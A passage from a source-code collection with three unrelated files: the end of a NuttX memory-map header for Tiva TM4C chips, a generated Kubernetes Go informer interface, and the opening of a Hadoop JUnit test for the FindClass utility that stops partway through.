TIVA_TIMER5_BASE (TIVA_PERIPH_BASE + 0x35000) /* -0x35fff: 16/32 Timer 5 */ #define TIVA_WTIMER0_BASE (TIVA_PERIPH_BASE + 0x36000) /* -0x36fff: 32/64 Wide Timer 0 */ #define TIVA_WTIMER1_BASE (TIVA_PERIPH_BASE + 0x37000) /* -0x37fff: 32/64 Wide Timer 1 */ #define TIVA_ADC0_BASE (TIVA_PERIPH_BASE + 0x38000) /* -0x38fff: ADC 0 */ #define TIVA_ADC1_BASE (TIVA_PERIPH_BASE + 0x39000) /* -0x39fff: ADC 1 */ /* -0x3bfff: Reserved */ #define TIVA_CMP_BASE (TIVA_PERIPH_BASE + 0x3c000) /* -0x3cfff: Analog Comparators */ /* -0x3ffff: Reserved */ #define TIVA_CAN0_BASE (TIVA_PERIPH_BASE + 0x40000) /* -0x40fff: CAN Controller 0 */ #define TIVA_CAN1_BASE (TIVA_PERIPH_BASE + 0x41000) /* -0x41fff: CAN Controller 1 */ /* -0x4bfff: Reserved */ #define TIVA_WTIMER2_BASE (TIVA_PERIPH_BASE + 0x4c000) /* -0x4cfff: 32/64 Wide Timer 2 */ #define TIVA_WTIMER3_BASE (TIVA_PERIPH_BASE + 0x4d000) /* -0x4dfff: 32/64 Wide Timer 3 */ #define TIVA_WTIMER4_BASE (TIVA_PERIPH_BASE + 0x4e000) /* -0x4efff: 32/64 Wide Timer 4 */ #define TIVA_WTIMER5_BASE (TIVA_PERIPH_BASE + 0x4f000) /* -0x4ffff: 32/64 Wide Timer 5 */ #define TIVA_USB_BASE (TIVA_PERIPH_BASE + 0x50000) /* -0x50fff: USB */ /* -0x57fff: Reserved */ #define TIVA_GPIOAAHB_BASE (TIVA_PERIPH_BASE + 0x58000) /* -0x58fff: GPIO Port A (AHB aperture) */ #define TIVA_GPIOBAHB_BASE (TIVA_PERIPH_BASE + 0x59000) /* -0x59fff: GPIO Port B (AHB aperture) */ #define TIVA_GPIOCAHB_BASE (TIVA_PERIPH_BASE + 0x5a000) /* -0x5afff: GPIO Port C (AHB aperture) */ #define TIVA_GPIODAHB_BASE (TIVA_PERIPH_BASE + 0x5b000) /* -0x5bfff: GPIO Port D (AHB aperture) */ #define TIVA_GPIOEAHB_BASE (TIVA_PERIPH_BASE + 0x5c000) /* -0x5cfff: GPIO Port E (AHB aperture) */ #define TIVA_GPIOFAHB_BASE (TIVA_PERIPH_BASE + 0x5d000) /* -0x5dfff: GPIO Port F (AHB aperture) */ /* -0xaefff: Reserved */ #define TIVA_EEPROM_BASE (TIVA_PERIPH_BASE + 0xaf000) /* -0xaffff: EEPROM and Key Locker */ /* -0xf8fff: Reserved */ #define TIVA_SYSEXC_BASE (TIVA_PERIPH_BASE + 0xf9000) /* -0xf9fff: System Exception Control */ /* -0xfbfff: Reserved */ #define TIVA_HIBERNATE_BASE (TIVA_PERIPH_BASE + 0xfc000) /* -0xfcfff: Hibernation Controller */ #define TIVA_FLASHCON_BASE (TIVA_PERIPH_BASE + 0xfd000) /* -0xfdfff: FLASH Control */ #define TIVA_SYSCON_BASE (TIVA_PERIPH_BASE + 0xfe000) /* -0xfefff: System Control */ #define TIVA_UDMA_BASE (TIVA_PERIPH_BASE + 0xff000) /* -0xfffff: Micro Direct Memory Access */ #elif defined(CONFIG_ARCH_CHIP_TM4C129XNC) /* Peripheral region 1 */ #define TIVA_WDOG0_BASE (TIVA_PERIPH1_BASE + 0x00000) /* -0x00fff: Watchdog Timer 0 */ #define TIVA_WDOG1_BASE (TIVA_PERIPH1_BASE + 0x01000) /* -0x00fff: Watchdog Timer 1 */ /* -0x03fff: Reserved */ #define TIVA_GPIOA_BASE (TIVA_PERIPH1_BASE + 0x04000) /* -0x04fff: GPIO Port A */ #define TIVA_GPIOB_BASE (TIVA_PERIPH1_BASE + 0x05000) /* -0x05fff: GPIO Port B */ #define TIVA_GPIOC_BASE (TIVA_PERIPH1_BASE + 0x06000) /* -0x06fff: GPIO Port C */ #define TIVA_GPIOD_BASE (TIVA_PERIPH1_BASE + 0x07000) /* -0x07fff: GPIO Port D */ #define TIVA_SSI0_BASE (TIVA_PERIPH1_BASE + 0x08000) /* -0x08fff: SSI0 */ #define TIVA_SSI1_BASE (TIVA_PERIPH1_BASE + 0x09000) /* -0x09fff: SSI1 */ #define TIVA_SSI2_BASE (TIVA_PERIPH1_BASE + 0x0a000) /* -0x0afff: SSI2 */ #define TIVA_SSI3_BASE (TIVA_PERIPH1_BASE + 0x0b000) /* -0x0bfff: SSI3 */ #define TIVA_UART0_BASE (TIVA_PERIPH1_BASE + 0x0c000) /* -0x0cfff: UART0 */ #define TIVA_UART1_BASE (TIVA_PERIPH1_BASE + 0x0d000) /* -0x0dfff: UART1 */ #define TIVA_UART2_BASE (TIVA_PERIPH1_BASE + 0x0e000) /* -0x0efff: UART2 */ #define TIVA_UART3_BASE (TIVA_PERIPH1_BASE + 0x0f000) /* -0x0ffff: UART3 */ #define TIVA_UART4_BASE (TIVA_PERIPH1_BASE + 0x10000) /* -0x10fff: UART4 */ #define TIVA_UART5_BASE (TIVA_PERIPH1_BASE + 0x11000) /* -0x11fff: UART5 */ #define TIVA_UART6_BASE (TIVA_PERIPH1_BASE + 0x12000) /* -0x12fff: UART6 */ #define TIVA_UART7_BASE (TIVA_PERIPH1_BASE + 0x13000) /* -0x13fff: UART7 */ /* -0x1ffff: Reserved */ #define TIVA_I2C0_BASE (TIVA_PERIPH1_BASE + 0x20000) /* -0x20fff: I2C0 */ #define TIVA_I2C1_BASE (TIVA_PERIPH1_BASE + 0x21000) /* -0x21fff: I2C1 */ #define TIVA_I2C2_BASE (TIVA_PERIPH1_BASE + 0x22000) /* -0x22fff: I2C2 */ #define TIVA_I2C3_BASE (TIVA_PERIPH1_BASE + 0x23000) /* -0x23fff: I2C3 */ #define TIVA_GPIOE_BASE (TIVA_PERIPH1_BASE + 0x24000) /* -0x24fff: GPIO Port E */ #define TIVA_GPIOF_BASE (TIVA_PERIPH1_BASE + 0x25000) /* -0x25fff: GPIO Port F */ #define TIVA_GPIOG_BASE (TIVA_PERIPH1_BASE + 0x26000) /* -0x26fff: GPIO Port G */ #define TIVA_GPIOH_BASE (TIVA_PERIPH1_BASE + 0x27000) /* -0x27fff: GPIO Port H */ #define TIVA_PWM0_BASE (TIVA_PERIPH1_BASE + 0x28000) /* -0x28fff: PWM 0 */ /* -0x2bfff: Reserved */ #define TIVA_QEI0_BASE (TIVA_PERIPH1_BASE + 0x2c000) /* -0x2cfff: QEI 0 */ /* -0x2ffff: Reserved */ #define TIVA_TIMER0_BASE (TIVA_PERIPH1_BASE + 0x30000) /* -0x30fff: 16/32 Timer 0 */ #define TIVA_TIMER1_BASE (TIVA_PERIPH1_BASE + 0x31000) /* -0x31fff: 16/32 Timer 1 */ #define TIVA_TIMER2_BASE (TIVA_PERIPH1_BASE + 0x32000) /* -0x32fff: 16/32 Timer 2 */ #define TIVA_TIMER3_BASE (TIVA_PERIPH1_BASE + 0x33000) /* -0x33fff: 16/32 Timer 3 */ #define TIVA_TIMER4_BASE (TIVA_PERIPH1_BASE + 0x34000) /* -0x34fff: 16/32 Timer 4 */ #define TIVA_TIMER5_BASE (TIVA_PERIPH1_BASE + 0x35000) /* -0x35fff: 16/32 Timer 5 */ /* -0x37fff: Reserved */ #define TIVA_ADC0_BASE (TIVA_PERIPH1_BASE + 0x38000) /* -0x38fff: ADC 0 */ #define TIVA_ADC1_BASE (TIVA_PERIPH1_BASE + 0x39000) /* -0x39fff: ADC 1 */ /* -0x3bfff: Reserved */ #define TIVA_CMP_BASE (TIVA_PERIPH1_BASE + 0x3c000) /* -0x3cfff: Analog Comparators */ #define TIVA_GPIOJ_BASE (TIVA_PERIPH1_BASE + 0x3d000) /* -0x3dfff: GPIO Port J */ /* -0x3ffff: Reserved */ #define TIVA_CAN0_BASE (TIVA_PERIPH1_BASE + 0x40000) /* -0x40fff: CAN Controller 0 */ #define TIVA_CAN1_BASE (TIVA_PERIPH1_BASE + 0x41000) /* -0x41fff: CAN Controller 1 */ /* -0x4ffff: Reserved */ #define TIVA_USB_BASE (TIVA_PERIPH1_BASE + 0x50000) /* -0x50fff: USB */ /* -0x57fff: Reserved */ #define TIVA_GPIOAAHB_BASE (TIVA_PERIPH1_BASE + 0x58000) /* -0x58fff: GPIO Port A (AHB aperture) */ #define TIVA_GPIOBAHB_BASE (TIVA_PERIPH1_BASE + 0x59000) /* -0x59fff: GPIO Port B (AHB aperture) */ #define TIVA_GPIOCAHB_BASE (TIVA_PERIPH1_BASE + 0x5a000) /* -0x5afff: GPIO Port C (AHB aperture) */ #define TIVA_GPIODAHB_BASE (TIVA_PERIPH1_BASE + 0x5b000) /* -0x5bfff: GPIO Port D (AHB aperture) */ #define TIVA_GPIOEAHB_BASE (TIVA_PERIPH1_BASE + 0x5c000) /* -0x5cfff: GPIO Port E (AHB aperture) */ #define TIVA_GPIOFAHB_BASE (TIVA_PERIPH1_BASE + 0x5d000) /* -0x5dfff: GPIO Port F (AHB aperture) */ #define TIVA_GPIOGAHB_BASE (TIVA_PERIPH1_BASE + 0x5e000) /* -0x5efff: GPIO Port G (AHB aperture) */ #define TIVA_GPIOHAHB_BASE (TIVA_PERIPH1_BASE + 0x5f000) /* -0x5ffff: GPIO Port H (AHB aperture) */ #define TIVA_GPIOJAHB_BASE (TIVA_PERIPH1_BASE + 0x60000) /* -0x60fff: GPIO Port J (AHB aperture) */ #define TIVA_GPIOKAHB_BASE (TIVA_PERIPH1_BASE + 0x61000) /* -0x61fff: GPIO Port K (AHB aperture) */ #define TIVA_GPIOLAHB_BASE (TIVA_PERIPH1_BASE + 0x62000) /* -0x62fff: GPIO Port L (AHB aperture) */ #define TIVA_GPIOMAHB_BASE (TIVA_PERIPH1_BASE + 0x63000) /* -0x63fff: GPIO Port M (AHB aperture) */ #define TIVA_GPIONAHB_BASE (TIVA_PERIPH1_BASE + 0x64000) /* -0x64fff: GPIO Port N (AHB aperture) */ #define TIVA_GPIOPAHB_BASE (TIVA_PERIPH1_BASE + 0x65000) /* -0x65fff: GPIO Port P (AHB aperture) */ #define TIVA_GPIOQAHB_BASE (TIVA_PERIPH1_BASE + 0x66000) /* -0x66fff: GPIO Port Q (AHB aperture) */ #define TIVA_GPIORAHB_BASE (TIVA_PERIPH1_BASE + 0x67000) /* -0x67fff: GPIO Port R (AHB aperture) */ #define TIVA_GPIOSAHB_BASE (TIVA_PERIPH1_BASE + 0x68000) /* -0x68fff: GPIO Port S (AHB aperture) */ #define TIVA_GPIOTAHB_BASE (TIVA_PERIPH1_BASE + 0x69000) /* -0x69fff: GPIO Port T (AHB aperture) */ /* -0xaefff: Reserved */ #define TIVA_EEPROM_BASE (TIVA_PERIPH1_BASE + 0xaf000) /* -0xaffff: EEPROM and Key Locker */ /* -0xb5fff: Reserved */ #define TIVA_1WIRE_BASE (TIVA_PERIPH1_BASE + 0xb6000) /* -0xb6fff: EEPROM and Key Locker */ /* -0xb7fff: Reserved */ #define TIVA_I2C8_BASE (TIVA_PERIPH1_BASE + 0xb8000) /* -0xb8fff: I2C8 */ #define TIVA_I2C9_BASE (TIVA_PERIPH1_BASE + 0xb9000) /* -0xb9fff: I2C9 */ /* -0xbffff: Reserved */ #define TIVA_I2C4_BASE (TIVA_PERIPH1_BASE + 0xc0000) /* -0xc0fff: I2C4 */ #define TIVA_I2C5_BASE (TIVA_PERIPH1_BASE + 0xc1000) /* -0xc1fff: I2C5 */ #define TIVA_I2C6_BASE (TIVA_PERIPH1_BASE + 0xc2000) /* -0xc2fff: I2C6 */ #define TIVA_I2C7_BASE (TIVA_PERIPH1_BASE + 0xc3000) /* -0xc3fff: I2C7 */ /* -0xcffff: Reserved */ #define TIVA_EPI0_BASE (TIVA_PERIPH1_BASE + 0xd0000) /* -0xd0fff: EPI0 */ /* -0xdffff: Reserved */ #define TIVA_TIMER6_BASE (TIVA_PERIPH1_BASE + 0xe0000) /* -0xe0fff: 16/32 Timer 6 */ #define TIVA_TIMER7_BASE (TIVA_PERIPH1_BASE + 0xe1000) /* -0xe1fff: 16/32 Timer 7 */ /* -0xebfff: Reserved */ #define TIVA_ETHCON_BASE (TIVA_PERIPH1_BASE + 0xec000) /* -0xecfff: Ethernet Controller */ /* -0xf8fff: Reserved */ #define TIVA_SYSEXC_BASE (TIVA_PERIPH1_BASE + 0xf9000) /* -0xf9fff: System Exception Control */ /* -0xfbfff: Reserved */ #define TIVA_HIBERNATE_BASE (TIVA_PERIPH1_BASE + 0xfc000) /* -0xfcfff: Hibernation Controller */ #define TIVA_FLASHCON_BASE (TIVA_PERIPH1_BASE + 0xfd000) /* -0xfdfff: FLASH Control */ #define TIVA_SYSCON_BASE (TIVA_PERIPH1_BASE + 0xfe000) /* -0xfefff: System Control */ #define TIVA_UDMA_BASE (TIVA_PERIPH1_BASE + 0xff000) /* -0xfffff: Micro Direct Memory Access */ /* Peripheral region 2 */ /* -0x2ffff: Reserved */ #define TIVA_CCM_BASE (TIVA_PERIPH2_BASE + 0x30000) /* -0x30fff: CRC/Cryptographic Control */ /* -0x33fff: Reserved */ #define TIVA_SHAMD5_BASE (TIVA_PERIPH2_BASE + 0x34000) /* -0x35fff: SHA/MD5 */ #define TIVA_AES_BASE (TIVA_PERIPH2_BASE + 0x36000) /* -0x37fff: AES */ #define TIVA_DES_BASE (TIVA_PERIPH2_BASE + 0x38000) /* -0x39fff: DES */ /* -0x4ffff: Reserved */ #define TIVA_LCD_BASE (TIVA_PERIPH2_BASE + 0x50000) /* -0x50fff: LCD */ /* -0x53fff: Reserved */ #define TIVA_EPHY_BASE (TIVA_PERIPH2_BASE + 0x54000) /* -0x54fff: EPHY */ /* -0xfffff: Reserved */ #elif defined(CONFIG_ARCH_CHIP_TM4C1294NC) // FIXME sauttefk /* Peripheral region 1 */ #define TIVA_WDOG0_BASE (TIVA_PERIPH1_BASE + 0x00000) /* -0x00fff: Watchdog Timer 0 */ #define TIVA_WDOG1_BASE (TIVA_PERIPH1_BASE + 0x01000) /* -0x00fff: Watchdog Timer 1 */ /* -0x03fff: Reserved */ #define TIVA_GPIOA_BASE (TIVA_PERIPH1_BASE + 0x04000) /* -0x04fff: GPIO Port A */ #define TIVA_GPIOB_BASE (TIVA_PERIPH1_BASE + 0x05000) /* -0x05fff: GPIO Port B */ #define TIVA_GPIOC_BASE (TIVA_PERIPH1_BASE + 0x06000) /* -0x06fff: GPIO Port C */ #define TIVA_GPIOD_BASE (TIVA_PERIPH1_BASE + 0x07000) /* -0x07fff: GPIO Port D */ #define TIVA_SSI0_BASE (TIVA_PERIPH1_BASE + 0x08000) /* -0x08fff: SSI0 */ #define TIVA_SSI1_BASE (TIVA_PERIPH1_BASE + 0x09000) /* -0x09fff: SSI1 */ #define TIVA_SSI2_BASE (TIVA_PERIPH1_BASE + 0x0a000) /* -0x0afff: SSI2 */ #define TIVA_SSI3_BASE (TIVA_PERIPH1_BASE + 0x0b000) /* -0x0bfff: SSI3 */ #define TIVA_UART0_BASE (TIVA_PERIPH1_BASE + 0x0c000) /* -0x0cfff: UART0 */ #define TIVA_UART1_BASE (TIVA_PERIPH1_BASE + 0x0d000) /* -0x0dfff: UART1 */ #define TIVA_UART2_BASE (TIVA_PERIPH1_BASE + 0x0e000) /* -0x0efff: UART2 */ #define TIVA_UART3_BASE (TIVA_PERIPH1_BASE + 0x0f000) /* -0x0ffff: UART3 */ #define TIVA_UART4_BASE (TIVA_PERIPH1_BASE + 0x10000) /* -0x10fff: UART4 */ #define TIVA_UART5_BASE (TIVA_PERIPH1_BASE + 0x11000) /* -0x11fff: UART5 */ #define TIVA_UART6_BASE (TIVA_PERIPH1_BASE + 0x12000) /* -0x12fff: UART6 */ #define TIVA_UART7_BASE (TIVA_PERIPH1_BASE + 0x13000) /* -0x13fff: UART7 */ /* -0x1ffff: Reserved */ #define TIVA_I2C0_BASE (TIVA_PERIPH1_BASE + 0x20000) /* -0x20fff: I2C0 */ #define TIVA_I2C1_BASE (TIVA_PERIPH1_BASE + 0x21000) /* -0x21fff: I2C1 */ #define TIVA_I2C2_BASE (TIVA_PERIPH1_BASE + 0x22000) /* -0x22fff: I2C2 */ #define TIVA_I2C3_BASE (TIVA_PERIPH1_BASE + 0x23000) /* -0x23fff: I2C3 */ #define TIVA_GPIOE_BASE (TIVA_PERIPH1_BASE + 0x24000) /* -0x24fff: GPIO Port E */ #define TIVA_GPIOF_BASE (TIVA_PERIPH1_BASE + 0x25000) /* -0x25fff: GPIO Port F */ #define TIVA_GPIOG_BASE (TIVA_PERIPH1_BASE + 0x26000) /* -0x26fff: GPIO Port G */ #define TIVA_GPIOH_BASE (TIVA_PERIPH1_BASE + 0x27000) /* -0x27fff: GPIO Port H */ #define TIVA_PWM0_BASE (TIVA_PERIPH1_BASE + 0x28000) /* -0x28fff: PWM 0 */ /* -0x2bfff: Reserved */ #define TIVA_QEI0_BASE (TIVA_PERIPH1_BASE + 0x2c000) /* -0x2cfff: QEI 0 */ /* -0x2ffff: Reserved */ #define TIVA_TIMER0_BASE (TIVA_PERIPH1_BASE + 0x30000) /* -0x30fff: 16/32 Timer 0 */ #define TIVA_TIMER1_BASE (TIVA_PERIPH1_BASE + 0x31000) /* -0x31fff: 16/32 Timer 1 */ #define TIVA_TIMER2_BASE (TIVA_PERIPH1_BASE + 0x32000) /* -0x32fff: 16/32 Timer 2 */ #define TIVA_TIMER3_BASE (TIVA_PERIPH1_BASE + 0x33000) /* -0x33fff: 16/32 Timer 3 */ #define TIVA_TIMER4_BASE (TIVA_PERIPH1_BASE + 0x34000) /* -0x34fff: 16/32 Timer 4 */ #define TIVA_TIMER5_BASE (TIVA_PERIPH1_BASE + 0x35000) /* -0x35fff: 16/32 Timer 5 */ /* -0x37fff: Reserved */ #define TIVA_ADC0_BASE (TIVA_PERIPH1_BASE + 0x38000) /* -0x38fff: ADC 0 */ #define TIVA_ADC1_BASE (TIVA_PERIPH1_BASE + 0x39000) /* -0x39fff: ADC 1 */ /* -0x3bfff: Reserved */ #define TIVA_CMP_BASE (TIVA_PERIPH1_BASE + 0x3c000) /* -0x3cfff: Analog Comparators */ #define TIVA_GPIOJ_BASE (TIVA_PERIPH1_BASE + 0x3d000) /* -0x3dfff: GPIO Port J */ /* -0x3ffff: Reserved */ #define TIVA_CAN0_BASE (TIVA_PERIPH1_BASE + 0x40000) /* -0x40fff: CAN Controller 0 */ #define TIVA_CAN1_BASE (TIVA_PERIPH1_BASE + 0x41000) /* -0x41fff: CAN Controller 1 */ /* -0x4ffff: Reserved */ #define TIVA_USB_BASE (TIVA_PERIPH1_BASE + 0x50000) /* -0x50fff: USB */ /* -0x57fff: Reserved */ #define TIVA_GPIOAAHB_BASE (TIVA_PERIPH1_BASE + 0x58000) /* -0x58fff: GPIO Port A (AHB aperture) */ #define TIVA_GPIOBAHB_BASE (TIVA_PERIPH1_BASE + 0x59000) /* -0x59fff: GPIO Port B (AHB aperture) */ #define TIVA_GPIOCAHB_BASE (TIVA_PERIPH1_BASE + 0x5a000) /* -0x5afff: GPIO Port C (AHB aperture) */ #define TIVA_GPIODAHB_BASE (TIVA_PERIPH1_BASE + 0x5b000) /* -0x5bfff: GPIO Port D (AHB aperture) */ #define TIVA_GPIOEAHB_BASE (TIVA_PERIPH1_BASE + 0x5c000) /* -0x5cfff: GPIO Port E (AHB aperture) */ #define TIVA_GPIOFAHB_BASE (TIVA_PERIPH1_BASE + 0x5d000) /* -0x5dfff: GPIO Port F (AHB aperture) */ #define TIVA_GPIOGAHB_BASE (TIVA_PERIPH1_BASE + 0x5e000) /* -0x5efff: GPIO Port G (AHB aperture) */ #define TIVA_GPIOHAHB_BASE (TIVA_PERIPH1_BASE + 0x5f000) /* -0x5ffff: GPIO Port H (AHB aperture) */ #define TIVA_GPIOJAHB_BASE (TIVA_PERIPH1_BASE + 0x60000) /* -0x60fff: GPIO Port J (AHB aperture) */ #define TIVA_GPIOKAHB_BASE (TIVA_PERIPH1_BASE + 0x61000) /* -0x61fff: GPIO Port K (AHB aperture) */ #define TIVA_GPIOLAHB_BASE (TIVA_PERIPH1_BASE + 0x62000) /* -0x62fff: GPIO Port L (AHB aperture) */ #define TIVA_GPIOMAHB_BASE (TIVA_PERIPH1_BASE + 0x63000) /* -0x63fff: GPIO Port M (AHB aperture) */ #define TIVA_GPIONAHB_BASE (TIVA_PERIPH1_BASE + 0x64000) /* -0x64fff: GPIO Port N (AHB aperture) */ #define TIVA_GPIOPAHB_BASE (TIVA_PERIPH1_BASE + 0x65000) /* -0x65fff: GPIO Port P (AHB aperture) */ #define TIVA_GPIOQAHB_BASE (TIVA_PERIPH1_BASE + 0x66000) /* -0x66fff: GPIO Port Q (AHB aperture) */ /* -0xaefff: Reserved */ #define TIVA_EEPROM_BASE (TIVA_PERIPH1_BASE + 0xaf000) /* -0xaffff: EEPROM and Key Locker */ /* -0xb7fff: Reserved */ #define TIVA_I2C8_BASE (TIVA_PERIPH1_BASE + 0xb8000) /* -0xb8fff: I2C8 */ #define TIVA_I2C9_BASE (TIVA_PERIPH1_BASE + 0xb9000) /* -0xb9fff: I2C9 */ /* -0xbffff: Reserved */ #define TIVA_I2C4_BASE (TIVA_PERIPH1_BASE + 0xc0000) /* -0xc0fff: I2C4 */ #define TIVA_I2C5_BASE (TIVA_PERIPH1_BASE + 0xc1000) /* -0xc1fff: I2C5 */ #define TIVA_I2C6_BASE (TIVA_PERIPH1_BASE + 0xc2000) /* -0xc2fff: I2C6 */ #define TIVA_I2C7_BASE (TIVA_PERIPH1_BASE + 0xc3000) /* -0xc3fff: I2C7 */ /* -0xcffff: Reserved */ #define TIVA_EPI0_BASE (TIVA_PERIPH1_BASE + 0xd0000) /* -0xd0fff: EPI0 */ /* -0xdffff: Reserved */ #define TIVA_TIMER6_BASE (TIVA_PERIPH1_BASE + 0xe0000) /* -0xe0fff: 16/32 Timer 6 */ #define TIVA_TIMER7_BASE (TIVA_PERIPH1_BASE + 0xe1000) /* -0xe1fff: 16/32 Timer 7 */ /* -0xebfff: Reserved */ #define TIVA_ETHCON_BASE (TIVA_PERIPH1_BASE + 0xec000) /* -0xecfff: Ethernet Controller */ /* -0xf8fff: Reserved */ #define TIVA_SYSEXC_BASE (TIVA_PERIPH1_BASE + 0xf9000) /* -0xf9fff: System Exception Control */ /* -0xfbfff: Reserved */ #define TIVA_HIBERNATE_BASE (TIVA_PERIPH1_BASE + 0xfc000) /* -0xfcfff: Hibernation Controller */ #define TIVA_FLASHCON_BASE (TIVA_PERIPH1_BASE + 0xfd000) /* -0xfdfff: FLASH Control */ #define TIVA_SYSCON_BASE (TIVA_PERIPH1_BASE + 0xfe000) /* -0xfefff: System Control */ #define TIVA_UDMA_BASE (TIVA_PERIPH1_BASE + 0xff000) /* -0xfffff: Micro Direct Memory Access */ /* Peripheral region 2 */ /* -0x2ffff: Reserved */ #define TIVA_CCM_BASE (TIVA_PERIPH2_BASE + 0x30000) /* -0x30fff: CRC/Cryptographic Control */ /* -0x33fff: Reserved */ #define TIVA_SHAMD5_BASE (TIVA_PERIPH2_BASE + 0x34000) /* -0x35fff: SHA/MD5 */ #define TIVA_AES_BASE (TIVA_PERIPH2_BASE + 0x36000) /* -0x37fff: AES */ #define TIVA_DES_BASE (TIVA_PERIPH2_BASE + 0x38000) /* -0x39fff: DES */ /* -0x4ffff: Reserved */ #define TIVA_LCD_BASE (TIVA_PERIPH2_BASE + 0x50000) /* -0x50fff: LCD */ /* -0x53fff: Reserved */ #define TIVA_EPHY_BASE (TIVA_PERIPH2_BASE + 0x54000) /* -0x54fff: EPHY */ /* -0xfffff: Reserved */ #else #error "Peripheral base addresses not specified for this Tiva chip" #endif /************************************************************************************ * Public Types ************************************************************************************/ /************************************************************************************ * Public Data ************************************************************************************/ /************************************************************************************ * Public Function Prototypes ************************************************************************************/ #endif /* __ARCH_ARM_SRC_TIVA_CHIP_TM4C_MEMORYMAP_H */
apache-2.0
shakamunyi/kubernetes
vendor/k8s.io/sample-apiserver/pkg/client/informers/externalversions/wardle/v1alpha1/interface.go
1483
/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // This file was automatically generated by informer-gen package v1alpha1 import ( internalinterfaces "k8s.io/sample-apiserver/pkg/client/informers/externalversions/internalinterfaces" ) // Interface provides access to all the informers in this group version. type Interface interface { // Fischers returns a FischerInformer. Fischers() FischerInformer // Flunders returns a FlunderInformer. Flunders() FlunderInformer } type version struct { internalinterfaces.SharedInformerFactory } // New returns a new Interface. func New(f internalinterfaces.SharedInformerFactory) Interface { return &version{f} } // Fischers returns a FischerInformer. func (v *version) Fischers() FischerInformer { return &fischerInformer{factory: v.SharedInformerFactory} } // Flunders returns a FlunderInformer. func (v *version) Flunders() FlunderInformer { return &flunderInformer{factory: v.SharedInformerFactory} }
apache-2.0
dennishuo/hadoop
hadoop-common-project/hadoop-common/src/test/java/org/apache/hadoop/util/TestFindClass.java
6169
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.util; import java.io.ByteArrayOutputStream; import java.io.PrintStream; import org.junit.Assert; import org.apache.hadoop.util.FindClass; import org.apache.hadoop.util.ToolRunner; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Test the find class logic */ public class TestFindClass extends Assert { private static final Logger LOG = LoggerFactory.getLogger(TestFindClass.class); public static final String LOG4J_PROPERTIES = "log4j.properties"; /** * Run the tool runner instance * @param expected expected return code * @param args a list of arguments * @throws Exception on any falure that is not handled earlier */ private void run(int expected, String... args) throws Exception { int result = ToolRunner.run(new FindClass(), args); assertEquals(expected, result); } @Test public void testUsage() throws Throwable { run(FindClass.E_USAGE, "org.apache.hadoop.util.TestFindClass"); } @Test public void testFindsResource() throws Throwable { run(FindClass.SUCCESS, FindClass.A_RESOURCE, "org/apache/hadoop/util/TestFindClass.class"); } @Test public void testFailsNoSuchResource() throws Throwable { run(FindClass.E_NOT_FOUND, FindClass.A_RESOURCE, "org/apache/hadoop/util/ThereIsNoSuchClass.class"); } @Test public void testLoadFindsSelf() throws Throwable { run(FindClass.SUCCESS, FindClass.A_LOAD, "org.apache.hadoop.util.TestFindClass"); } @Test public void testLoadFailsNoSuchClass() throws Throwable { run(FindClass.E_NOT_FOUND, FindClass.A_LOAD, "org.apache.hadoop.util.ThereIsNoSuchClass"); } @Test public void testLoadWithErrorInStaticInit() throws Throwable { run(FindClass.E_LOAD_FAILED, FindClass.A_LOAD, "org.apache.hadoop.util.TestFindClass$FailInStaticInit"); } @Test public void testCreateHandlesBadToString() throws Throwable { run(FindClass.SUCCESS, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass$BadToStringClass"); } @Test public void testCreatesClass() throws Throwable { run(FindClass.SUCCESS, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass"); } @Test public void testCreateFailsInStaticInit() throws Throwable { run(FindClass.E_LOAD_FAILED, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass$FailInStaticInit"); } @Test public void testCreateFailsInConstructor() throws Throwable { run(FindClass.E_CREATE_FAILED, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass$FailInConstructor"); } @Test public void testCreateFailsNoEmptyConstructor() throws Throwable { run(FindClass.E_CREATE_FAILED, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass$NoEmptyConstructor"); } @Test public void testLoadPrivateClass() throws Throwable { run(FindClass.SUCCESS, FindClass.A_LOAD, "org.apache.hadoop.util.TestFindClass$PrivateClass"); } @Test public void testCreateFailsPrivateClass() throws Throwable { run(FindClass.E_CREATE_FAILED, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass$PrivateClass"); } @Test public void testCreateFailsInPrivateConstructor() throws Throwable { run(FindClass.E_CREATE_FAILED, FindClass.A_CREATE, "org.apache.hadoop.util.TestFindClass$PrivateConstructor"); } @Test public void testLoadFindsLog4J() throws Throwable { run(FindClass.SUCCESS, FindClass.A_RESOURCE, LOG4J_PROPERTIES); } @SuppressWarnings("UseOfSystemOutOrSystemErr") @Test public void testPrintLog4J() throws Throwable { ByteArrayOutputStream baos = new ByteArrayOutputStream(); PrintStream out = new PrintStream(baos); FindClass.setOutputStreams(out, System.err); run(FindClass.SUCCESS, FindClass.A_PRINTRESOURCE, LOG4J_PROPERTIES); //here the content should be done out.flush(); String body = baos.toString("UTF8"); LOG.info(LOG4J_PROPERTIES + " =\n" + body); assertTrue(body.contains("Apache")); } /** * trigger a divide by zero fault in the static init */ public static class FailInStaticInit { static { int x = 0; int y = 1 / x; } } /** * trigger a divide by zero fault in the constructor */ public static class FailInConstructor { public FailInConstructor() { int x = 0; int y = 1 / x; } } /** * A class with no parameterless constructor -expect creation to fail */ public static class NoEmptyConstructor { public NoEmptyConstructor(String text) { } } /** * This has triggers an NPE in the toString() method; checks the logging * code handles this. */ public static class BadToStringClass { public BadToStringClass() { } @Override public String toString() { throw new NullPointerException("oops"); } } /** * This has a private constructor * -creating it will trigger an 